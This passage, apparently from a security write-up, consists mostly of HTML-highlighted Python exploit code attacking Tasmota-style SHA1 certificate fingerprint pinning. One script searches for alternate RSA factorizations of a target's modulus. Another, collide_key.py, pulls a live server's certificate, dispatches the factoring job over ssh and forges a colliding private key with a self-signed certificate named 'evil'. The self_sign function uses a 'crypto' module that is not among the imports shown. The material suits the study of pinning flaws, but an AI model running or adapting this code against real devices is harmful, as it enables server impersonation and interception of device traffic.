115	`<span class="pgcssk">for</span> <span class="pgcssn">p</span> <span class="pgcssow">in</span> <span class="pgcssn">primes</span><span class="pgcssp">:</span>`
116	`<span class="pgcssk">if</span> <span class="pgcssn">p</span> <span class="pgcssow">in</span> <span class="pgcssn">seen_primes</span><span class="pgcssp">:</span>`
117	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'N:Duplicate factor </span><span class="pgcsssi">{}</span><span class="pgcsss1"> - cannot build key'</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">))</span>`
118	`<span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span>`
119	`<span class="pgcssn">seen_primes</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span>`
120	`<span class="pgcssk">break</span>`
121	`<span class="pgcssk">else</span><span class="pgcssp">:</span>`
122	`<span class="pgcssn">seen_primes</span><span class="pgcsso">.</span><span class="pgcssn">add</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcssp">)</span>`
123
124	`<span class="pgcssk">if</span> <span class="pgcssn">seen_primes</span> <span class="pgcssow">is</span> <span class="pgcsskc">None</span><span class="pgcssp">:</span>`
125	`<span class="pgcssk">continue</span>`
126
127	`<span class="pgcssn">phi</span> <span class="pgcsso">=</span> <span class="pgcssn">prod</span><span class="pgcssp">([</span><span class="pgcssn">p</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span> <span class="pgcssk">for</span> <span class="pgcssn">p</span> <span class="pgcssow">in</span> <span class="pgcssn">primes</span><span class="pgcssp">])</span>`
128	`<span class="pgcssk">if</span> <span class="pgcssn">gcd</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">phi</span><span class="pgcssp">)</span> <span class="pgcsso">!=</span> <span class="pgcssmi">1</span><span class="pgcssp">:</span>`
129	<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'N:Cannot use (e, n) at [</span><span class="pgcsssi">{p}</span><span class="pgcsss1">] - e not coprime to phi(n) - gcd(e, phi(n)) = </span><span class="pgcsssi">{g}</span><span class="pgcsss1">'</span><span class="pgcsso">.</span><span class="pgcssn">format</span><span class="pgcssp">(</span><span class="pgcssn">p</span><span class="pgcsso">=</span><span class="pgcssn">pos</span><span class="pgcssp">,</span> <span class="pgcssn">g</span><span class="pgcsso">=</span><span class="pgcssn">gcd</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">phi</span><span class="pgcssp">)))</span>
130	`<span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span>`
131	`<span class="pgcssk">continue</span>`
132
133	<span class="pgcssn">result</span> <span class="pgcsso">=</span> <span class="pgcssp">{</span><span class="pgcsss1">'e'</span><span class="pgcssp">:</span> <span class="pgcssnb">str</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">),</span> <span class="pgcsss1">'primes'</span><span class="pgcssp">:</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">str</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span><span class="pgcssp">))}</span>
134	`<span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssn">result</span>`
135	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'R:'</span><span class="pgcsso">+</span><span class="pgcssn">json</span><span class="pgcsso">.</span><span class="pgcssn">dumps</span><span class="pgcssp">(</span><span class="pgcssn">result</span><span class="pgcssp">))</span>`
136	`<span class="pgcssk">else</span><span class="pgcssp">:</span>`
137	`<span class="pgcssn">cofactor</span> <span class="pgcsso">=</span> <span class="pgcssn">primes</span><span class="pgcsso">.</span><span class="pgcssn">pop</span><span class="pgcssp">()</span>`
138	`<span class="pgcssn">partial_phi</span> <span class="pgcsso">=</span> <span class="pgcssn">prod</span><span class="pgcssp">([</span><span class="pgcssn">p</span> <span class="pgcsso">-</span> <span class="pgcssmi">1</span> <span class="pgcssk">for</span> <span class="pgcssn">p</span> <span class="pgcssow">in</span> <span class="pgcssn">primes</span><span class="pgcssp">])</span>`
139	`<span class="pgcssk">if</span> <span class="pgcssn">gcd</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">partial_phi</span><span class="pgcssp">)</span> <span class="pgcsso">!=</span> <span class="pgcssmi">1</span><span class="pgcssp">:</span>`
140	`<span class="pgcssc1"># we won't retry here since we know it won't be coprime</span>`
141	`<span class="pgcssn">found</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcsskc">None</span>`
142	`<span class="pgcssk">continue</span>`
143	<span class="pgcssk">if</span> <span class="pgcssn">pos</span> <span class="pgcssow">not</span> <span class="pgcssow">in</span> <span class="pgcssn">incomplete</span> <span class="pgcssow">or</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">incomplete</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">][</span><span class="pgcsss1">'cofactor'</span><span class="pgcssp">])</span> <span class="pgcsso">></span> <span class="pgcssn">cofactor</span><span class="pgcssp">:</span>
144	`<span class="pgcssn">incomplete</span><span class="pgcssp">[</span><span class="pgcssn">pos</span><span class="pgcssp">]</span> <span class="pgcsso">=</span> <span class="pgcssp">{</span>`
145	`<span class="pgcsss1">'e'</span><span class="pgcssp">:</span> <span class="pgcssnb">str</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">),</span>`
146	`<span class="pgcsss1">'cofactor'</span><span class="pgcssp">:</span> <span class="pgcssnb">str</span><span class="pgcssp">(</span><span class="pgcssn">cofactor</span><span class="pgcssp">),</span>`
147	`<span class="pgcsss1">'primes'</span><span class="pgcssp">:</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">str</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span><span class="pgcssp">))</span>`
148	`<span class="pgcssp">}</span>`
149
150	`<span class="pgcssn">done</span> <span class="pgcsso">=</span> <span class="pgcsskc">False</span>`
151	`<span class="pgcssc1"># try to find at least one prime that is more than one digit</span>`
152	`<span class="pgcssk">for</span> <span class="pgcssn">v</span> <span class="pgcssow">in</span> <span class="pgcssn">found</span><span class="pgcsso">.</span><span class="pgcssn">values</span><span class="pgcssp">():</span>`
153	`<span class="pgcssk">if</span> <span class="pgcssn">v</span> <span class="pgcssow">is</span> <span class="pgcssow">not</span> <span class="pgcsskc">None</span><span class="pgcssp">:</span>`
154	`<span class="pgcssn">primes</span> <span class="pgcsso">=</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">,</span> <span class="pgcssn">v</span><span class="pgcssp">[</span><span class="pgcsss1">'primes'</span><span class="pgcssp">]))</span>`
155	<span class="pgcssk">if</span> <span class="pgcssnb">min</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso">></span> <span class="pgcssmi">10</span> <span class="pgcssow">and</span> <span class="pgcssn">prod</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso">></span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">v</span><span class="pgcssp">[</span><span class="pgcsss1">'e'</span><span class="pgcssp">])</span> <span class="pgcssow">and</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">primes</span><span class="pgcssp">)</span> <span class="pgcsso"><=</span> <span class="pgcssmi">5</span><span class="pgcssp">:</span>
156	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'N:Found key with min(primes) > 10, e < n and 5 or fewer primes'</span><span class="pgcssp">)</span>`
157	`<span class="pgcssn">done</span> <span class="pgcsso">=</span> <span class="pgcsskc">True</span>`
158	`<span class="pgcssk">break</span>`
159	`<span class="pgcssk">if</span> <span class="pgcssn">done</span><span class="pgcssp">:</span>`
160	`<span class="pgcssk">break</span>`
161
162	`<span class="pgcssn">iters</span> <span class="pgcsso">*=</span> <span class="pgcssmi">2</span>`
163
164	`<span class="pgcssc1"># search loop done, print result as json</span>`
165	<span class="pgcssn">sol</span> <span class="pgcsso">=</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">filter</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssn">x</span> <span class="pgcssow">is</span> <span class="pgcssow">not</span> <span class="pgcsskc">None</span><span class="pgcssp">,</span> <span class="pgcssn">found</span><span class="pgcsso">.</span><span class="pgcssn">values</span><span class="pgcssp">()))</span>
166	`<span class="pgcssn">sol</span><span class="pgcsso">.</span><span class="pgcssn">sort</span><span class="pgcssp">(</span><span class="pgcssn">key</span><span class="pgcsso">=</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">x</span><span class="pgcssp">[</span><span class="pgcsss1">'e'</span><span class="pgcssp">]))</span>`
167	<span class="pgcssn">inc</span> <span class="pgcsso">=</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">filter</span><span class="pgcssp">(</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssn">x</span> <span class="pgcssow">is</span> <span class="pgcssow">not</span> <span class="pgcsskc">None</span><span class="pgcssp">,</span> <span class="pgcssn">incomplete</span><span class="pgcsso">.</span><span class="pgcssn">values</span><span class="pgcssp">()))</span>
168	`<span class="pgcssn">inc</span><span class="pgcsso">.</span><span class="pgcssn">sort</span><span class="pgcssp">(</span><span class="pgcssn">key</span><span class="pgcsso">=</span><span class="pgcssk">lambda</span> <span class="pgcssn">x</span><span class="pgcssp">:</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">x</span><span class="pgcssp">[</span><span class="pgcsss1">'cofactor'</span><span class="pgcssp">]))</span>`
169	`<span class="pgcssn">result</span> <span class="pgcsso">=</span> <span class="pgcssp">{</span>`
170	`<span class="pgcsss2">"input"</span><span class="pgcssp">:</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">],</span>`
171	`<span class="pgcsss2">"solutions"</span><span class="pgcssp">:</span> <span class="pgcssn">sol</span><span class="pgcssp">,</span>`
172	`<span class="pgcsss2">"incomplete"</span><span class="pgcssp">:</span> <span class="pgcssn">inc</span>`
173	`<span class="pgcssp">}</span>`
174
175	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">json</span><span class="pgcsso">.</span><span class="pgcssn">dumps</span><span class="pgcssp">(</span><span class="pgcssn">result</span><span class="pgcssp">))</span>`

The plan of attack, then will be to start with the smallest n value that can be split out of the original key, and work up to the largest. For each potential n value, spend a short time trying to factor it. If it can be factored, great, the attack is done. If not, save the progress and move on. If a usable full factorization isn’t found for any of the candidate n values, then try again, spending progressively more time until successful. There’s no guarantee this process will work on any given key, but the odds are quite good.

collide_key.py
1	`<span class="pgcsskn">import</span> <span class="pgcssnn">sys</span>`
2	`<span class="pgcsskn">import</span> <span class="pgcssnn">ssl</span>`
3	`<span class="pgcsskn">import</span> <span class="pgcssnn">json</span>`
4	`<span class="pgcsskn">import</span> <span class="pgcssnn">base64</span>`
5	`<span class="pgcsskn">import</span> <span class="pgcssnn">subprocess</span>`
6
7	`<span class="pgcsskn">from</span> <span class="pgcssnn">hashlib</span> <span class="pgcsskn">import</span> <span class="pgcssn">sha1</span>`
8
9	`<span class="pgcsskn">from</span> <span class="pgcssnn">binascii</span> <span class="pgcsskn">import</span> <span class="pgcssn">hexlify</span><span class="pgcssp">,</span> <span class="pgcssn">unhexlify</span>`
10
11	`<span class="pgcssc1"># need recent pycryptodome</span>`
12	`<span class="pgcsskn">from</span> <span class="pgcssnn">Crypto.PublicKey</span> <span class="pgcsskn">import</span> <span class="pgcssn">RSA</span>`
13
14	`<span class="pgcsskn">from</span> <span class="pgcssnn">mprsa</span> <span class="pgcsskn">import</span> <span class="pgcssn">RSAPrivateKey</span>`
15
16	`<span class="pgcssn">CRACK_ARGS</span> <span class="pgcsso">=</span> <span class="pgcssp">[</span><span class="pgcsss1">'ssh'</span><span class="pgcssp">,</span> <span class="pgcsss1">'192.168.1.42'</span><span class="pgcssp">,</span> <span class="pgcsss1">'~/crack_split_rsa.py'</span><span class="pgcssp">]</span>`
17
18	`<span class="pgcssk">def</span> <span class="pgcssnf">to_bytes</span><span class="pgcssp">(</span><span class="pgcssn">n</span><span class="pgcssp">):</span>`
19	<span class="pgcssk">return</span> <span class="pgcssn">n</span><span class="pgcsso">.</span><span class="pgcssn">to_bytes</span><span class="pgcssp">((</span><span class="pgcssn">n</span><span class="pgcsso">.</span><span class="pgcssn">bit_length</span><span class="pgcssp">()</span> <span class="pgcsso">+</span> <span class="pgcssmi">7</span><span class="pgcssp">)</span> <span class="pgcsso">//</span> <span class="pgcssmi">8</span><span class="pgcssp">,</span> <span class="pgcsss1">'big'</span><span class="pgcssp">)</span>
20
21	`<span class="pgcssk">def</span> <span class="pgcssnf">fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">):</span>`
22	`<span class="pgcssk">return</span> <span class="pgcssn">sha1</span><span class="pgcssp">(</span><span class="pgcsssa">b</span><span class="pgcsss1">'ssh-rsa'</span><span class="pgcsso">+</span><span class="pgcssn">raw</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">hexdigest</span><span class="pgcssp">()</span>`
23
24	`<span class="pgcssk">def</span> <span class="pgcssnf">fmt_fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">):</span>`
25	`<span class="pgcssn">h</span> <span class="pgcsso">=</span> <span class="pgcssn">fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">upper</span><span class="pgcssp">()</span>`
26	<span class="pgcssk">return</span> <span class="pgcsss1">' '</span><span class="pgcsso">.</span><span class="pgcssn">join</span><span class="pgcssp">(</span><span class="pgcssn">h</span><span class="pgcssp">[</span><span class="pgcssn">i</span><span class="pgcssp">:</span><span class="pgcssn">i</span><span class="pgcsso">+</span><span class="pgcssmi">2</span><span class="pgcssp">]</span> <span class="pgcssk">for</span> <span class="pgcssn">i</span> <span class="pgcssow">in</span> <span class="pgcssnb">range</span><span class="pgcssp">(</span><span class="pgcssmi">0</span><span class="pgcssp">,</span> <span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">h</span><span class="pgcssp">),</span> <span class="pgcssmi">2</span><span class="pgcssp">))</span>
27
28	`<span class="pgcssk">def</span> <span class="pgcssnf">tasmota_fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">):</span>`
29	`<span class="pgcssn">sha</span> <span class="pgcsso">=</span> <span class="pgcssn">sha1</span><span class="pgcssp">(</span><span class="pgcsssa">b</span><span class="pgcsss1">'ssh-rsa'</span><span class="pgcssp">)</span>`
30	`<span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">update</span><span class="pgcssp">(</span><span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">[</span><span class="pgcsss1">'publicExponent'</span><span class="pgcssp">])))</span>`
31	`<span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">update</span><span class="pgcssp">(</span><span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">[</span><span class="pgcsss1">'modulus'</span><span class="pgcssp">])))</span>`
32	`<span class="pgcssk">return</span> <span class="pgcssn">sha</span><span class="pgcsso">.</span><span class="pgcssn">hexdigest</span><span class="pgcssp">()</span>`
33
34	`<span class="pgcssk">def</span> <span class="pgcssnf">self_sign</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">,</span> <span class="pgcssn">cn</span><span class="pgcsso">=</span><span class="pgcsss1">'evil'</span><span class="pgcssp">):</span>`
35	`<span class="pgcssn">k</span> <span class="pgcsso">=</span> <span class="pgcssn">crypto</span><span class="pgcsso">.</span><span class="pgcssn">load_privatekey</span><span class="pgcssp">(</span><span class="pgcssn">crypto</span><span class="pgcsso">.</span><span class="pgcssn">FILETYPE_ASN1</span><span class="pgcssp">,</span> <span class="pgcssn">rsa</span><span class="pgcsso">.</span><span class="pgcssn">der</span><span class="pgcssp">)</span>`
36	`<span class="pgcssn">cert</span> <span class="pgcsso">=</span> <span class="pgcssn">crypto</span><span class="pgcsso">.</span><span class="pgcssn">X509</span><span class="pgcssp">()</span>`
37	`<span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">get_subject</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">CN</span> <span class="pgcsso">=</span> <span class="pgcssn">cn</span>`
38	`<span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">set_serial_number</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">tasmota_fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">),</span> <span class="pgcssmi">16</span><span class="pgcssp">))</span>`
39	`<span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">gmtime_adj_notBefore</span><span class="pgcssp">(</span><span class="pgcssmi">86400</span> <span class="pgcsso">*</span> <span class="pgcsso">-</span><span class="pgcssmi">1</span><span class="pgcssp">)</span>`
40	`<span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">gmtime_adj_notAfter</span><span class="pgcssp">(</span><span class="pgcssmi">86400</span> <span class="pgcsso">*</span> <span class="pgcssmi">365</span><span class="pgcssp">)</span>`
41	`<span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">set_issuer</span><span class="pgcssp">(</span><span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">get_subject</span><span class="pgcssp">())</span>`
42	`<span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">set_pubkey</span><span class="pgcssp">(</span><span class="pgcssn">k</span><span class="pgcssp">)</span>`
43	`<span class="pgcssn">cert</span><span class="pgcsso">.</span><span class="pgcssn">sign</span><span class="pgcssp">(</span><span class="pgcssn">k</span><span class="pgcssp">,</span> <span class="pgcsss1">'sha256'</span><span class="pgcssp">)</span>`
44
45	`<span class="pgcssk">return</span> <span class="pgcssn">crypto</span><span class="pgcsso">.</span><span class="pgcssn">dump_certificate</span><span class="pgcssp">(</span><span class="pgcssn">crypto</span><span class="pgcsso">.</span><span class="pgcssn">FILETYPE_PEM</span><span class="pgcssp">,</span> <span class="pgcssn">cert</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()</span>`
46
47	`<span class="pgcssk">def</span> <span class="pgcssnf">keypair</span><span class="pgcssp">(</span><span class="pgcssn">rsa</span><span class="pgcssp">,</span> <span class="pgcssn">cn</span><span class="pgcsso">=</span><span class="pgcsss1">'evil'</span><span class="pgcssp">):</span>`
48	`<span class="pgcssn">i</span> <span class="pgcsso">=</span> <span class="pgcssmi">0</span>`
49	`<span class="pgcssk">while</span> <span class="pgcsskc">True</span><span class="pgcssp">:</span>`
50	`<span class="pgcssk">try</span><span class="pgcssp">:</span>`
51	`<span class="pgcssn">keypair</span> <span class="pgcsso">=</span> <span class="pgcssn">rsa</span><span class="pgcsso">.</span><span class="pgcssn">pem</span> <span class="pgcsso">+</span> <span class="pgcssn">rsa</span><span class="pgcsso">.</span><span class="pgcssn">rsa_sign</span><span class="pgcssp">(</span><span class="pgcssn">cn</span><span class="pgcssp">)</span>`
52	`<span class="pgcssk">if</span> <span class="pgcssn">i</span> <span class="pgcsso">></span> <span class="pgcssmi">0</span><span class="pgcssp">:</span>`
53	`<span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">stdout</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcsss1">'WARNING: had to retry cert signature'</span><span class="pgcssp">)</span>`
54	`<span class="pgcssk">return</span> <span class="pgcssn">keypair</span>`
55	`<span class="pgcssk">except</span> <span class="pgcssne">Exception</span> <span class="pgcssk">as</span> <span class="pgcssn">e</span><span class="pgcssp">:</span>`
56	`<span class="pgcssk">if</span> <span class="pgcssn">i</span> <span class="pgcsso"><</span> <span class="pgcssmi">20</span><span class="pgcssp">:</span>`
57	`<span class="pgcssn">i</span> <span class="pgcsso">+=</span> <span class="pgcssmi">1</span>`
58	`<span class="pgcssk">else</span><span class="pgcssp">:</span>`
59	`<span class="pgcssk">raise</span> <span class="pgcssn">e</span>`
60
61	`<span class="pgcssk">if</span> <span class="pgcssvm">__name__</span> <span class="pgcsso">==</span> <span class="pgcsss1">'__main__'</span><span class="pgcssp">:</span>`
62	`<span class="pgcssn">source</span> <span class="pgcsso">=</span> <span class="pgcssn">sys</span><span class="pgcsso">.</span><span class="pgcssn">argv</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">]</span>`
63
64	`<span class="pgcssk">if</span> <span class="pgcsss1">':'</span> <span class="pgcssow">in</span> <span class="pgcssn">source</span><span class="pgcssp">:</span>`
65	`<span class="pgcssn">parts</span> <span class="pgcsso">=</span> <span class="pgcssn">source</span><span class="pgcsso">.</span><span class="pgcssn">split</span><span class="pgcssp">(</span><span class="pgcsss1">':'</span><span class="pgcssp">)</span>`
66	`<span class="pgcssn">hostname</span> <span class="pgcsso">=</span> <span class="pgcssn">parts</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">]</span>`
67	`<span class="pgcssn">port</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">parts</span><span class="pgcssp">[</span><span class="pgcssmi">1</span><span class="pgcssp">])</span>`
68	`<span class="pgcssn">target</span> <span class="pgcsso">=</span> <span class="pgcssn">RSA</span><span class="pgcsso">.</span><span class="pgcssn">importKey</span><span class="pgcssp">(</span><span class="pgcssn">ssl</span><span class="pgcsso">.</span><span class="pgcssn">get_server_certificate</span><span class="pgcssp">((</span><span class="pgcssn">hostname</span><span class="pgcssp">,</span> <span class="pgcssn">port</span><span class="pgcssp">)))</span>`
69	`<span class="pgcssk">else</span><span class="pgcssp">:</span>`
70	`<span class="pgcssk">with</span> <span class="pgcssnb">open</span><span class="pgcssp">(</span><span class="pgcssn">source</span><span class="pgcssp">,</span> <span class="pgcsss1">'rb'</span><span class="pgcssp">)</span> <span class="pgcssk">as</span> <span class="pgcssn">pem</span><span class="pgcssp">:</span>`
71	`<span class="pgcssn">target</span> <span class="pgcsso">=</span> <span class="pgcssn">RSA</span><span class="pgcsso">.</span><span class="pgcssn">importKey</span><span class="pgcssp">(</span><span class="pgcssn">pem</span><span class="pgcsso">.</span><span class="pgcssn">read</span><span class="pgcssp">())</span>`
72
73	`<span class="pgcssn">raw</span> <span class="pgcsso">=</span> <span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssn">target</span><span class="pgcsso">.</span><span class="pgcssn">e</span><span class="pgcssp">)</span> <span class="pgcsso">+</span> <span class="pgcssn">to_bytes</span><span class="pgcssp">(</span><span class="pgcssn">target</span><span class="pgcsso">.</span><span class="pgcssn">n</span><span class="pgcssp">)</span>`
74
75	`<span class="pgcssn">fp</span> <span class="pgcsso">=</span> <span class="pgcssn">fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">)</span>`
76
77	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'Tasmota fingerprint: '</span> <span class="pgcsso">+</span> <span class="pgcssn">fmt_fingerprint</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">))</span>`
78
79	<span class="pgcssn">proc</span> <span class="pgcsso">=</span> <span class="pgcssn">subprocess</span><span class="pgcsso">.</span><span class="pgcssn">Popen</span><span class="pgcssp">(</span><span class="pgcssn">CRACK_ARGS</span> <span class="pgcsso">+</span> <span class="pgcssp">[</span><span class="pgcssn">hexlify</span><span class="pgcssp">(</span><span class="pgcssn">raw</span><span class="pgcssp">)</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()],</span> <span class="pgcssn">stdout</span><span class="pgcsso">=</span><span class="pgcssn">subprocess</span><span class="pgcsso">.</span><span class="pgcssn">PIPE</span><span class="pgcssp">)</span>
80	`<span class="pgcssn">lines</span> <span class="pgcsso">=</span> <span class="pgcssp">[]</span>`
81	`<span class="pgcssk">while</span> <span class="pgcsskc">True</span><span class="pgcssp">:</span>`
82	`<span class="pgcssn">line</span> <span class="pgcsso">=</span> <span class="pgcssn">proc</span><span class="pgcsso">.</span><span class="pgcssn">stdout</span><span class="pgcsso">.</span><span class="pgcssn">readline</span><span class="pgcssp">()</span>`
83	`<span class="pgcssk">if</span> <span class="pgcssow">not</span> <span class="pgcssn">line</span><span class="pgcssp">:</span>`
84	`<span class="pgcssk">break</span>`
85	`<span class="pgcssn">line</span> <span class="pgcsso">=</span> <span class="pgcssn">line</span><span class="pgcsso">.</span><span class="pgcssn">decode</span><span class="pgcssp">()</span><span class="pgcsso">.</span><span class="pgcssn">rstrip</span><span class="pgcssp">()</span>`
86	`<span class="pgcssn">lines</span><span class="pgcsso">.</span><span class="pgcssn">append</span><span class="pgcssp">(</span><span class="pgcssn">line</span><span class="pgcssp">)</span>`
87	`<span class="pgcssk">if</span> <span class="pgcssn">line</span><span class="pgcssp">[</span><span class="pgcssmi">0</span><span class="pgcssp">]</span> <span class="pgcsso">!=</span> <span class="pgcsss1">'{'</span><span class="pgcssp">:</span>`
88	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcssn">line</span><span class="pgcssp">)</span>`
89
90	`<span class="pgcssn">last</span> <span class="pgcsso">=</span> <span class="pgcssn">lines</span><span class="pgcssp">[</span><span class="pgcssnb">len</span><span class="pgcssp">(</span><span class="pgcssn">lines</span><span class="pgcssp">)</span><span class="pgcsso">-</span><span class="pgcssmi">1</span><span class="pgcssp">]</span>`
91
92	`<span class="pgcssnb">print</span><span class="pgcssp">(</span><span class="pgcsss1">'Writing results to </span><span class="pgcsssi">%s</span><span class="pgcsss1">.json'</span> <span class="pgcsso">%</span> <span class="pgcssn">fp</span><span class="pgcssp">)</span>`
93	`<span class="pgcssk">with</span> <span class="pgcssnb">open</span><span class="pgcssp">(</span><span class="pgcsss1">'</span><span class="pgcsssi">%s</span><span class="pgcsss1">.json'</span> <span class="pgcsso">%</span> <span class="pgcssn">fp</span><span class="pgcssp">,</span> <span class="pgcsss1">'w'</span><span class="pgcssp">)</span> <span class="pgcssk">as</span> <span class="pgcssn">out</span><span class="pgcssp">:</span>`
94	`<span class="pgcssn">out</span><span class="pgcsso">.</span><span class="pgcssn">write</span><span class="pgcssp">(</span><span class="pgcssn">last</span><span class="pgcssp">)</span>`
95
96	`<span class="pgcssn">result</span> <span class="pgcsso">=</span> <span class="pgcssn">json</span><span class="pgcsso">.</span><span class="pgcssn">loads</span><span class="pgcssp">(</span><span class="pgcssn">last</span><span class="pgcssp">)</span>`
97
98	`<span class="pgcssk">if</span> <span class="pgcsss1">'solutions'</span> <span class="pgcssow">in</span> <span class="pgcssn">result</span><span class="pgcssp">:</span>`
99	`<span class="pgcssk">for</span> <span class="pgcssn">i</span><span class="pgcssp">,</span> <span class="pgcssn">params</span> <span class="pgcssow">in</span> <span class="pgcssnb">enumerate</span><span class="pgcssp">(</span><span class="pgcssn">result</span><span class="pgcssp">[</span><span class="pgcsss1">'solutions'</span><span class="pgcssp">]):</span>`
100	`<span class="pgcssn">e</span> <span class="pgcsso">=</span> <span class="pgcssnb">int</span><span class="pgcssp">(</span><span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">'e'</span><span class="pgcssp">])</span>`
101	`<span class="pgcssn">primes</span> <span class="pgcsso">=</span> <span class="pgcssnb">list</span><span class="pgcssp">(</span><span class="pgcssnb">map</span><span class="pgcssp">(</span><span class="pgcssnb">int</span><span class="pgcssp">,</span> <span class="pgcssn">params</span><span class="pgcssp">[</span><span class="pgcsss1">'primes'</span><span class="pgcssp">]))</span>`
102	`<span class="pgcssn">key</span> <span class="pgcsso">=</span> <span class="pgcssn">RSAPrivateKey</span><span class="pgcssp">(</span><span class="pgcssn">e</span><span class="pgcssp">,</span> <span class="pgcssn">primes</span><span class="pgcssp">)</span>`
